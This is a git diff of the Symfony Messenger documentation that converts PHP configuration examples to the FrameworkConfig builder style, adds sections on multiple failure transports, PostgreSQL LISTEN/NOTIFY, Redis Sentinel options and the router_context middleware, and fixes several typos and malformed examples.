@@ -692,29 +822,36 @@ this is configurable for each transport:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'async_priority_high' => [
-                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-
-                        // default configuration
-                        'retry_strategy' => [
-                            'max_retries' => 3,
-                            // milliseconds delay
-                            'delay' => 1000,
-                            // causes the delay to be higher before each retry
-                            // e.g. 1 second delay, 2 seconds, 4 seconds
-                            'multiplier' => 2,
-                            'max_delay' => 0,
-                            // override all of this with a service that
-                            // implements Symfony\Component\Messenger\Retry\RetryStrategyInterface
-                            // 'service' => null,
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('async_priority_high')
+                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                // default configuration
+                ->retryStrategy()
+                    ->maxRetries(3)
+                    // milliseconds delay
+                    ->delay(1000)
+                    // causes the delay to be higher before each retry
+                    // e.g. 1 second delay, 2 seconds, 4 seconds
+                    ->multiplier(2)
+                    ->maxDelay(0)
+                    // override all of this with a service that
+                    // implements Symfony\Component\Messenger\Retry\RetryStrategyInterface
+                    ->service(null)
+            ;
+        };
+
+.. tip::
+
+    Symfony triggers a :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageRetriedEvent`
+    when a message is retried so you can run your own logic.
+
+    .. versionadded:: 5.2
+
+        The ``WorkerMessageRetriedEvent`` class was introduced in Symfony 5.2.
 
 Avoiding Retrying
 ~~~~~~~~~~~~~~~~~
@@ -734,7 +871,7 @@ Forcing Retrying
 Sometimes handling a message must fail in a way that you *know* is temporary
 and must be retried. If you throw
 :class:`Symfony\\Component\\Messenger\\Exception\\RecoverableMessageHandlingException`,
-the message will always be retried.
+the message will always be retried infinitely and ``max_retries`` setting will be ignored.
 
 .. _messenger-failure-transport:
 
@@ -784,20 +921,19 @@ be discarded. To avoid this happening, you can instead configure a ``failure_tra
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                // after retrying, messages will be sent to the "failed" transport
-                'failure_transport' => 'failed',
-
-                'transports' => [
-                    // ... other transports
-
-                    'failed' => [
-                        'dsn' => 'doctrine://default?queue_name=failed',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            // after retrying, messages will be sent to the "failed" transport
+            $messenger->failureTransport('failed');
+
+            // ... other transports
+
+            $messenger->transport('failed')
+                ->dsn('doctrine://default?queue_name=failed');
+        };
 
 In this example, if handling a message fails 3 times (default ``max_retries``),
 it will then be sent to the ``failed`` transport. While you *can* use
@@ -833,6 +969,113 @@ If the message fails again, it will be re-sent back to the failure transport
 due to the normal :ref:`retry rules <messenger-retries-failures>`. Once the max
 retry has been hit, the message will be discarded permanently.
 
+Multiple Failed Transports
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.3
+
+    The possibility to use multiple failed transports was introduced in Symfony 5.3.
+
+Sometimes it is not enough to have a single, global ``failed transport`` configured
+because some messages are more important than others. In those cases, you can
+override the failure transport for only specific transports:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                # after retrying, messages will be sent to the "failed" transport
+                # by default if no "failed_transport" is configured inside a transport
+                failure_transport: failed_default
+
+                transports:
+                    async_priority_high:
+                        dsn: '%env(MESSENGER_TRANSPORT_DSN)%'
+                        failure_transport: failed_high_priority
+
+                    # since no failed transport is configured, the one used will be
+                    # the global "failure_transport" set
+                    async_priority_low:
+                        dsn: 'doctrine://default?queue_name=async_priority_low'
+
+                    failed_default: 'doctrine://default?queue_name=failed_default'
+                    failed_high_priority: 'doctrine://default?queue_name=failed_high_priority'
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- after retrying, messages will be sent to the "failed" transport
+                by default if no "failed-transport" is configured inside a transport -->
+                <framework:messenger failure-transport="failed_default">
+                    <framework:transport name="async_priority_high" dsn="%env(MESSENGER_TRANSPORT_DSN)%" failure-transport="failed_high_priority"/>
+                    <!-- since no "failed_transport" is configured, the one used will be
+                    the global "failed_transport" set -->
+                    <framework:transport name="async_priority_low" dsn="doctrine://default?queue_name=async_priority_low"/>
+
+                    <framework:transport name="failed_default" dsn="doctrine://default?queue_name=failed_default"/>
+                    <framework:transport name="failed_high_priority" dsn="doctrine://default?queue_name=failed_high_priority"/>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            // after retrying, messages will be sent to the "failed" transport
+            // by default if no "failure_transport" is configured inside a transport
+            $messenger->failureTransport('failed_default');
+
+            $messenger->transport('async_priority_high')
+                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->failureTransport('failed_high_priority');
+
+            // since no failed transport is configured, the one used will be
+            // the global failure_transport set
+           $messenger->transport('async_priority_low')
+                ->dsn('doctrine://default?queue_name=async_priority_low');
+
+           $messenger->transport('failed_default')
+                ->dsn('doctrine://default?queue_name=failed_default');
+
+           $messenger->transport('failed_high_priority')
+                ->dsn('doctrine://default?queue_name=failed_high_priority');
+        };
+
+If there is no ``failure_transport`` defined globally or on the transport level,
+the messages will be discarded after the number of retries.
+
+The failed commands have an optional option ``--transport`` to specify
+the ``failure_transport`` configured at the transport level.
+
+.. code-block:: terminal
+
+    # see all messages in "failure_transport" transport
+    $ php bin/console messenger:failed:show --transport=failure_transport
+
+    # retry specific messages from "failure_transport"
+    $ php bin/console messenger:failed:retry 20 30 --transport=failure_transport --force
+
+    # remove a message without retrying it from "failure_transport"
+    $ php bin/console messenger:failed:remove 20 --transport=failure_transport
+
 .. _messenger-transports-config:
 
 Transport Configuration
@@ -883,18 +1126,15 @@ options. Options can be passed to the transport via a DSN string or configuratio
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'my_transport' => [
-                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-                        'options' => [
-                            'auto_setup' => false,
-                        ]
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('my_transport')
+                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->options(['auto_setup' => false]);
+        };
 
 Options defined under ``options`` take precedence over ones defined in the DSN.
 
@@ -941,6 +1181,11 @@ it in the ``port`` parameter of the DSN (e.g. ``amqps://localhost?cacert=/etc/ss
     binding keys that are needed. That can be disabled, but some functionality
     may not work correctly (like delayed queues).
 
+.. note::
+
+    With Symfony 5.3 or newer, you can limit the consumer of an AMQP transport to only
+    process messages from some queues of an exchange. See :ref:`messenger-limit-queues`.
+
 The transport has a number of other options, including ways to configure
 the exchange, queues binding keys and more. See the documentation on
 :class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\Connection`.
@@ -956,8 +1201,8 @@ The transport has a number of options:
 ``cert``                                      Path to the client certificate in PEM format.
 ``channel_max``                               Specifies highest channel number that the server
                                               permits. 0 means standard extension limit
-``confirm_timeout``                           Timeout in seconds for confirmation, if none
-                                              specified transport will not wait for message
+``confirm_timeout``                           Timeout in seconds for confirmation; if none
+                                              specified, transport will not wait for message
                                               confirmation. Note: 0 or greater seconds. May be
                                               fractional.
 ``connect_timeout``                           Connection timeout. Note: 0 or greater seconds.
@@ -997,7 +1242,8 @@ The transport has a number of options:
 ``queues[name][binding_arguments]``           Arguments to be used while binding the queue.
 ``queues[name][binding_keys]``                The binding keys (if any) to bind to this queue
 ``queues[name][flags]``                       Queue flags                                        ``AMQP_DURABLE``
-``exchange[arguments]``
+``exchange[arguments]``                       Extra arguments for the exchange (e.g.
+                                              ``alternate-exchange``)
 ``exchange[default_publish_routing_key]``     Routing key to use when publishing, if none is
                                               specified on the message
 ``exchange[flags]``                           Exchange flags                                     ``AMQP_DURABLE``
@@ -1005,6 +1251,15 @@ The transport has a number of options:
 ``exchange[type]``                            Type of exchange                                   ``fanout``
 ============================================  =================================================  ===================================
 
+.. versionadded:: 5.2
+
+    The ``confirm_timeout`` option was introduced in Symfony 5.2.
+
+.. deprecated:: 5.3
+
+    The ``prefetch_count`` option was deprecated in Symfony 5.3 because it has
+    no effect on the AMQP Messenger transport.
+
 You can also configure AMQP-specific settings on your message by adding
 :class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\AmqpStamp` to
 your Envelope::
@@ -1014,7 +1269,7 @@ your Envelope::
 
     $attributes = [];
     $bus->dispatch(new SmsNotification(), [
-        new AmqpStamp('custom-routing-key', AMQP_NOPARAM, $attributes)
+        new AmqpStamp('custom-routing-key', AMQP_NOPARAM, $attributes),
     ]);
 
 .. caution::
@@ -1061,10 +1316,16 @@ a table named ``messenger_messages``.
 Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 :ref:`generate a migration <doctrine-creating-the-database-tables-schema>`.
 
+.. caution::
+
+    The datetime property of the messages stored in the database uses the
+    timezone of the current system. This may cause issues if multiple machines
+    with different timezone configuration use the same storage.
+
 The transport has a number of options:
 
 ==================  =====================================  ======================
-     Option         Description                            Default
+Option              Description                            Default
 ==================  =====================================  ======================
 table_name          Name of the table                      messenger_messages
 queue_name          Name of the queue (a column in the     default
@@ -1080,6 +1341,29 @@ auto_setup          Whether the table should be created
                     automatically during send / get.       true
 ==================  =====================================  ======================
 
+.. versionadded:: 5.1
+
+    The ability to leverage PostgreSQL's LISTEN/NOTIFY was introduced
+    in Symfony 5.1.
+
+When using PostgreSQL, you have access to the following options to leverage
+the `LISTEN/NOTIFY`_ feature. This allow for a more performant approach
+than the default polling behavior of the Doctrine transport because
+PostgreSQL will directly notify the workers when a new message is inserted
+in the table.
+
+=======================  ==========================================  ======================
+Option                   Description                                 Default
+=======================  ==========================================  ======================
+use_notify               Whether to use LISTEN/NOTIFY.               true
+check_delayed_interval   The interval to check for delayed           1000
+                         messages, in milliseconds.
+                         Set to 0 to disable checks.
+get_notify_timeout       The length of time to wait for a            0
+                         response when calling
+                         ``PDO::pgsqlGetNotify``, in milliseconds.
+=======================  ==========================================  ======================
+
 Beanstalkd Transport
 ~~~~~~~~~~~~~~~~~~~~
 
@@ -1087,7 +1371,7 @@ Beanstalkd Transport
 
     The Beanstalkd transport was introduced in Symfony 5.2.
 
-The Beanstalkd transports sends messages directly to a Beanstalkd work queue. Install
+The Beanstalkd transport sends messages directly to a Beanstalkd work queue. Install
 it by running:
 
 .. code-block:: terminal
@@ -1143,7 +1427,9 @@ The Redis transport DSN may looks like this:
     # .env
     MESSENGER_TRANSPORT_DSN=redis://localhost:6379/messages
     # Full DSN Example
-    MESSENGER_TRANSPORT_DSN=redis://password@localhost:6379/messages/symfony/consumer?auto_setup=true&serializer=1&stream_max_entries=0&dbindex=0
+    MESSENGER_TRANSPORT_DSN=redis://password@localhost:6379/messages/symfony/consumer?auto_setup=true&serializer=1&stream_max_entries=0&dbindex=0&delete_after_ack=true
+    # Redis Cluster Example
+    MESSENGER_TRANSPORT_DSN=redis://host-01:6379,redis://host-02:6379,redis://host-03:6379,redis://host-04:6379
     # Unix Socket Example
     MESSENGER_TRANSPORT_DSN=redis:///var/run/redis.sock
 
@@ -1151,51 +1437,62 @@ The Redis transport DSN may looks like this:
 
     The Unix socket DSN was introduced in Symfony 5.1.
 
-To use the Redis transport, you will need the Redis PHP extension (>=4.3) and
-a running Redis server (^5.0).
-
 A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
 
-===================  =====================================  =================================
-     Option               Description                       Default
-===================  =====================================  =================================
-stream               The Redis stream name                  messages
-group                The Redis consumer group name          symfony
-consumer             Consumer name used in Redis            consumer
-auto_setup           Create the Redis group automatically?  true
-auth                 The Redis password
-delete_after_ack     If ``true``, messages are deleted      false
-                     automatically after processing them
-delete_after_reject  If ``true``, messages are deleted      true
-                     automatically if they are rejected
-lazy                 Connect only when a connection is      false
-                     really needed
-serializer           How to serialize the final payload     ``Redis::SERIALIZER_PHP``
-                     in Redis (the
-                     ``Redis::OPT_SERIALIZER`` option)
-stream_max_entries   The maximum number of entries which    ``0`` (which means "no trimming")
-                     the stream will be trimmed to. Set
-                     it to a large enough number to
-                     avoid losing pending messages
-tls                  Enable TLS support for the connection  false
-redeliver_timeout    Timeout before retrying a pending      ``3600``
-                     message which is owned by an
-                     abandoned consumer (if a worker died
-                     for some reason, this will occur,
-                     eventually you should retry the
-                     message) - in seconds.
-claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
-                     messages should be checked for to
-                     claim - in milliseconds
-===================  =====================================  =================================
+
+=======================  =====================================  =================================
+Option                   Description                            Default
+=======================  =====================================  =================================
+stream                   The Redis stream name                  messages
+group                    The Redis consumer group name          symfony
+consumer                 Consumer name used in Redis            consumer
+auto_setup               Create the Redis group automatically?  true
+auth                     The Redis password
+delete_after_ack         If ``true``, messages are deleted      false
+                         automatically after processing them
+delete_after_reject      If ``true``, messages are deleted      true
+                         automatically if they are rejected
+lazy                     Connect only when a connection is      false
+                         really needed
+serializer               How to serialize the final payload     ``Redis::SERIALIZER_PHP``
+                         in Redis (the
+                         ``Redis::OPT_SERIALIZER`` option)
+stream_max_entries       The maximum number of entries which    ``0`` (which means "no trimming")
+                         the stream will be trimmed to. Set
+                         it to a large enough number to
+                         avoid losing pending messages
+tls                      Enable TLS support for the connection  false
+redeliver_timeout        Timeout before retrying a pending      ``3600``
+                         message which is owned by an
+                         abandoned consumer (if a worker died
+                         for some reason, this will occur,
+                         eventually you should retry the
+                         message) - in seconds.
+claim_interval           Interval on which pending/abandoned    ``60000`` (1 Minute)
+                         messages should be checked for to
+                         claim - in milliseconds
+sentinel_persistent_id   String, if null connection is          null
+                         non-persistent.
+sentinel_retry_interval  Int, value in milliseconds             ``0``
+sentinel_read_timeout    Float, value in seconds                ``0``
+                         default indicates unlimited
+sentinel_timeout         Float, value in seconds                ``0``
+                         default indicates unlimited
+sentinel_master          String, if null or empty Sentinel      null
+                         support is disabled
+=======================  =====================================  =================================
 
 .. caution::
 
     There should never be more than one ``messenger:consume`` command running with the same
-    config (stream, group and consumer name) to avoid having a message handled more than once.
-    Using the ``HOSTNAME`` as the consumer might often be a good idea. In case you are using
-    Kubernetes to orchestrate your containers, consider using a ``StatefulSet``.
+    combination of ``stream``, ``group`` and ``consumer``, or messages could end up being
+    handled more than once. If you run multiple queue workers, ``consumer`` can be set to an
+    environment variable (like ``%env(MESSENGER_CONSUMER_NAME)%``) set by Supervisor
+    (example below) or any other service used to manage the worker processes.
+    In a container environment, the ``HOSTNAME`` can be used as the consumer name, since
+    there is only one worker per container/host. If using Kubernetes to orchestrate the
+    containers, consider using a ``StatefulSet`` to have stable names.
 
 .. tip::
 
@@ -1213,6 +1510,17 @@ claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
 
     The ``delete_after_reject`` and ``lazy`` options were introduced in Symfony 5.2.
 
+.. versionadded:: 5.4
+
+    The ``sentinel_persistent_id``, ``sentinel_retry_interval``, ``sentinel_read_timeout``,
+    ``sentinel_timeout``, and ``sentinel_master`` options were introduced in Symfony 5.4.
+
+.. deprecated:: 5.4
+
+    Not setting a explicit value for the ``delete_after_ack`` option is
+    deprecated since Symfony 5.4. In Symfony 6.0, the default value of this
+    option changes from ``false`` to ``true``.
+
 In Memory Transport
 ~~~~~~~~~~~~~~~~~~~
 
@@ -1253,15 +1561,14 @@ override it in the ``test`` environment to use this transport:
     .. code-block:: php
 
         // config/packages/test/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'async_priority_normal' => [
-                        'dsn' => 'in-memory://',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('async_priority_normal')
+                ->dsn('in-memory://');
+        };
 
 Then, while testing, messages will *not* be delivered to the real transport.
 Even better, in a test, you can check that exactly one message was sent
@@ -1283,11 +1590,21 @@ during a request::
             $this->assertSame(200, $client->getResponse()->getStatusCode());
 
             /* @var InMemoryTransport $transport */
-            $transport = self::$container->get('messenger.transport.async_priority_normal');
+            $transport = $this->getContainer()->get('messenger.transport.async_priority_normal');
             $this->assertCount(1, $transport->getSent());
         }
     }
 
+The transport has a number of options:
+
+``serialize`` (boolean, default: ``false``)
+    Whether to serialize messages or not. This is useful to test an additional
+    layer, especially when you use your own message serializer.
+
+.. versionadded:: 5.3
+
+    The ``serialize`` option was introduced in Symfony 5.3.
+
 .. note::
 
         All ``in-memory`` transports will be reset automatically after each test **in**
@@ -1300,7 +1617,7 @@ Amazon SQS
 
 .. versionadded:: 5.1
 
-    The Amazon SQS transport as introduced in Symfony 5.1.
+    The Amazon SQS transport was introduced in Symfony 5.1.
 
 The Amazon SQS transport is perfect for application hosted on AWS. Install it by
 running:
@@ -1314,7 +1631,7 @@ The SQS transport DSN may looks like this:
 .. code-block:: env
 
     # .env
-    MESSENGER_TRANSPORT_DSN=sqs://AKIAIOSFODNN7EXAMPLE:j17M97ffSVoKI0briFoo9a@sqs.eu-west-3.amazonaws.com/messages
+    MESSENGER_TRANSPORT_DSN=https://sqs.eu-west-3.amazonaws.com/123456789012/messages?access_key=AKIAIOSFODNN7EXAMPLE&secret_key=j17M97ffSVoKI0briFoo9a
     MESSENGER_TRANSPORT_DSN=sqs://localhost:9494/messages?sslmode=disable
 
 .. note::
@@ -1322,27 +1639,43 @@ The SQS transport DSN may looks like this:
     The transport will automatically create queues that are needed. This
     can be disabled setting the ``auto_setup`` option to ``false``.
 
+.. tip::
+
+    Before sending or receiving a message, Symfony needs to convert the queue
+    name into an AWS queue URL by calling the ``GetQueueUrl`` API in AWS. This
+    extra API call can be avoided by providing a DSN which is the queue URL.
+
+    .. versionadded:: 5.2
+
+        The feature to provide the queue URL in the DSN was introduced in Symfony 5.2.
+
 The transport has a number of options:
 
 ======================  ======================================  ===================================
      Option             Description                             Default
 ======================  ======================================  ===================================
-``access_key``          AWS access key
+``access_key``          AWS access key                          must be urlencoded
 ``account``             Identifier of the AWS account           The owner of the credentials
-``auto_setup``          Whether the table should be created     ``true``
+``auto_setup``          Whether the queue should be created     ``true``
                         automatically during send / get.
 ``buffer_size``         Number of messages to prefetch          9
+``debug``               If ``true`` it logs all HTTP requests   ``false``
+                        and responses (it impacts performance)
 ``endpoint``            Absolute URL to the SQS service         https://sqs.eu-west-1.amazonaws.com
 ``poll_timeout``        Wait for new message duration in        0.1
                         seconds
 ``queue_name``          Name of the queue                       messages
 ``region``              Name of the AWS region                  eu-west-1
-``secret_key``          AWS secret key
+``secret_key``          AWS secret key                          must be urlencoded
 ``visibility_timeout``  Amount of seconds the message will      Queue's configuration
                         not be visible (`Visibility Timeout`_)
 ``wait_time``           `Long polling`_ duration in seconds     20
 ======================  ======================================  ===================================
 
+.. versionadded:: 5.3
+
+    The ``debug`` option was introduced in Symfony 5.3.
+
 .. note::
 
     The ``wait_time`` parameter defines the maximum duration Amazon SQS should
@@ -1416,23 +1749,21 @@ this globally (or for each transport) to a service that implements
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'serializer' => [
-                    'default_serializer' => 'messenger.transport.symfony_serializer',
-                    'symfony_serializer' => [
-                        'format' => 'json',
-                        'context' => [],
-                    ],
-                ],
-                'transports' => [
-                    'async_priority_normal' => [
-                        'dsn' => // ...
-                        'serializer' => 'messenger.transport.symfony_serializer',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->serializer()
+                ->defaultSerializer('messenger.transport.symfony_serializer')
+                ->symfonySerializer()
+                    ->format('json')
+                    ->context('foo', 'bar');
+
+            $messenger->transport('async_priority_normal')
+                ->dsn(...)
+                ->serializer('messenger.transport.symfony_serializer');
+        };
 
 The ``messenger.transport.symfony_serializer`` is a built-in service that uses
 the :doc:`Serializer component </serializer>` and can be configured in a few ways.
@@ -1654,17 +1985,17 @@ Then, make sure to "route" your message to *both* transports:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'async_priority_normal' => '...',
-                    'image_transport' => '...',
-                ],
-                'routing' => [
-                    'App\Message\UploadedImage' => ['image_transport', 'async_priority_normal']
-                ]
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('async_priority_normal')->dsn(...);
+            $messenger->transport('image_transport')->dsn(...);
+
+            $messenger->routing('App\Message\UploadedImage')
+                ->senders(['image_transport', 'async_priority_normal']);
+        };
 
 That's it! You can now consume each transport:
 
@@ -1699,12 +2030,12 @@ to your message::
     {
         $bus->dispatch(new SmsNotification('...'), [
             // wait 5 seconds before processing
-            new DelayStamp(5000)
+            new DelayStamp(5000),
         ]);
 
         // or explicitly create an Envelope
         $bus->dispatch(new Envelope(new SmsNotification('...'), [
-            new DelayStamp(5000)
+            new DelayStamp(5000),
         ]));
 
         // ...
@@ -1797,22 +2128,16 @@ middleware and *only* include your own:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'buses' => [
-                    'messenger.bus.default' => [
-                        // disable the default middleware
-                        'default_middleware' => false,
-
-                        // and/or add your own
-                        'middleware' => [
-                            'App\Middleware\MyMiddleware',
-                            'App\Middleware\AnotherMiddleware',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $bus = $messenger->bus('messenger.bus.default')
+                ->defaultMiddleware(false);
+            $bus->middleware()->id('App\Middleware\MyMiddleware');
+            $bus->middleware()->id('App\Middleware\AnotherMiddleware');
+        };
 
 .. note::
 
@@ -1891,21 +2216,77 @@ may want to use:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'buses' => [
-                    'command_bus' => [
-                        'middleware' => [
-                            'doctrine_transaction',
-                            'doctrine_ping_connection',
-                            'doctrine_close_connection',
-                            // Using another entity manager
-                            ['id' => 'doctrine_transaction', 'arguments' => ['custom']],
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $bus = $messenger->bus('command_bus');
+            $bus->middleware()->id('doctrine_transaction');
+            $bus->middleware()->id('doctrine_ping_connection');
+            $bus->middleware()->id('doctrine_close_connection');
+            // Using another entity manager
+            $bus->middleware()->id('doctrine_transaction')
+                ->arguments(['custom']);
+        };
+
+Other Middlewares
+~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.3
+
+    The ``router_context`` middleware was introduced in Symfony 5.3.
+
+Add the ``router_context`` middleware if you need to generate absolute URLs in
+the consumer (e.g. render a template with links). This middleware stores the
+original request context (i.e. the host, the HTTP port, etc.) which is needed
+when building absolute URLs.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                buses:
+                    command_bus:
+                        middleware:
+                            - router_context
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:messenger>
+                    <framework:bus name="command_bus">
+                        <framework:middleware id="router_context"/>
+                    </framework:bus>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $bus = $messenger->bus('command_bus');
+            $bus->middleware()->id('router_context');
+        };
+
 
 Messenger Events
 ~~~~~~~~~~~~~~~~
@@ -1941,7 +2322,9 @@ Learn more
 .. _`Enqueue's transport`: https://github.com/sroze/messenger-enqueue-transport
 .. _`streams`: https://redis.io/topics/streams-intro
 .. _`Supervisor docs`: http://supervisord.org/
+.. _`PCNTL`: https://www.php.net/manual/book.pcntl.php
 .. _`SymfonyCasts' message serializer tutorial`: https://symfonycasts.com/screencast/messenger/transport-serializer
 .. _`Long polling`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-short-and-long-polling.html
 .. _`Visibility Timeout`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-visibility-timeout.html
 .. _`FIFO queue`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/FIFO-queues.html
+.. _`LISTEN/NOTIFY`: https://www.postgresql.org/docs/current/sql-notify.html
diff --git a/messenger/custom-transport.rst b/messenger/custom-transport.rst
index be41d63a41e..ae15b15bbeb 100644
--- a/messenger/custom-transport.rst
+++ b/messenger/custom-transport.rst
@@ -65,7 +65,7 @@ Here is a simplified example of a database transport::
                     WHERE (delivered_at IS NULL OR delivered_at < :redeliver_timeout)
                     AND handled = FALSE'
                 )
-                ->setParameter('redeliver_timeout', new DateTimeImmutable('-5minutes'))
+                ->setParameter('redeliver_timeout', new DateTimeImmutable('-5 minutes'))
                 ->getOneOrNullResult();
 
             if (null === $row) {
@@ -203,13 +203,14 @@ named transport using your own DSN:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'yours' => 'my-transport://...',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->messenger()
+                ->transport('yours')
+                    ->dsn('my-transport://...')
+            ;
+        };
 
 In addition of being able to route your messages to the ``yours`` sender, this
 will give you access to the following services:
diff --git a/messenger/dispatch_after_current_bus.rst b/messenger/dispatch_after_current_bus.rst
index e382f49eed3..7daaaebc676 100644
--- a/messenger/dispatch_after_current_bus.rst
+++ b/messenger/dispatch_after_current_bus.rst
@@ -40,7 +40,7 @@ DispatchAfterCurrentBusMiddleware Middleware
 --------------------------------------------
 
 For many applications, the desired behavior is to *only* handle messages that
-are dispatched by a handler once that handler has fully finished. This can be by
+are dispatched by a handler once that handler has fully finished. This can be done by
 using the ``DispatchAfterCurrentBusMiddleware`` and adding a
 ``DispatchAfterCurrentBusStamp`` stamp to :ref:`the message Envelope <messenger-envelopes>`::
 
diff --git a/messenger/handler_results.rst b/messenger/handler_results.rst
index dc4c1fd0821..8d630d011f4 100644
--- a/messenger/handler_results.rst
+++ b/messenger/handler_results.rst
@@ -11,7 +11,7 @@ You can use this to get the value returned by the handler(s)::
     use Symfony\Component\Messenger\MessageBusInterface;
     use Symfony\Component\Messenger\Stamp\HandledStamp;
 
-    $envelope = $messageBus->dispatch(SomeMessage());
+    $envelope = $messageBus->dispatch(new SomeMessage());
 
     // get the value that was returned by the last message handler
     $handledStamp = $envelope->last(HandledStamp::class);
@@ -62,7 +62,7 @@ handler is registered. The ``HandleTrait`` can be used in any class that has a
         }
 
         // Creating such a method is optional, but allows type-hinting the result
-        private function query(ListItemsQuery $query): ListItemsResult
+        private function query(ListItemsQuery $query): ListItemsQueryResult
         {
             return $this->handle($query);
         }
diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 5136553dac2..5a1ffecf94c 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -34,6 +34,8 @@ an **event bus**. The event bus could have zero or more subscribers.
                         middleware:
                             - validation
                     event.bus:
+                        # the 'allow_no_handlers' middleware allows to have no handler
+                        # configured for this bus without throwing an exception
                         default_middleware: allow_no_handlers
                         middleware:
                             - validation
@@ -56,13 +58,15 @@ an **event bus**. The event bus could have zero or more subscribers.
                     <framework:bus name="command.bus">
                         <framework:middleware id="validation"/>
                         <framework:middleware id="doctrine_transaction"/>
-                    <framework:bus>
+                    </framework:bus>
                     <framework:bus name="query.bus">
                         <framework:middleware id="validation"/>
-                    <framework:bus>
+                    </framework:bus>
+                    <!-- the 'allow_no_handlers' middleware allows to have no handler
+                         configured for this bus without throwing an exception -->
                     <framework:bus name="event.bus" default-middleware="allow_no_handlers">
                         <framework:middleware id="validation"/>
-                    <framework:bus>
+                    </framework:bus>
                 </framework:messenger>
             </framework:config>
         </container>
